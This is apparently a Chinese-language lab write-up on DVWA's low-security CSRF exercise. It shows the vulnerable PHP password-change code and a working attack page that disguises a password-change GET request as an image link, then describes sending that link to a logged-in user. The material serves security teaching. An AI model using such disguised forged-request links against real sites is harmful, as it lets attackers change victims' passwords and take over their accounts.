靶场
针对DVWA么有防御
源码：
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
攻击
1）作为攻击者，构造攻击脚本(伪造的链接地址，外表是一个图片，底层是修改密码的请求)
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><a href="http://192.168.190.133/DVWA/vulnerabilities/csrf/?password_new=666&password_conf=666&Change=Change"><img src="gf.jpg"></a>
</body>
</html>
开始攻击
- 把伪造的链接，发给用户（前提用户已经登录系统）
- 用户点击伪造的链接，实现修改密码的攻击
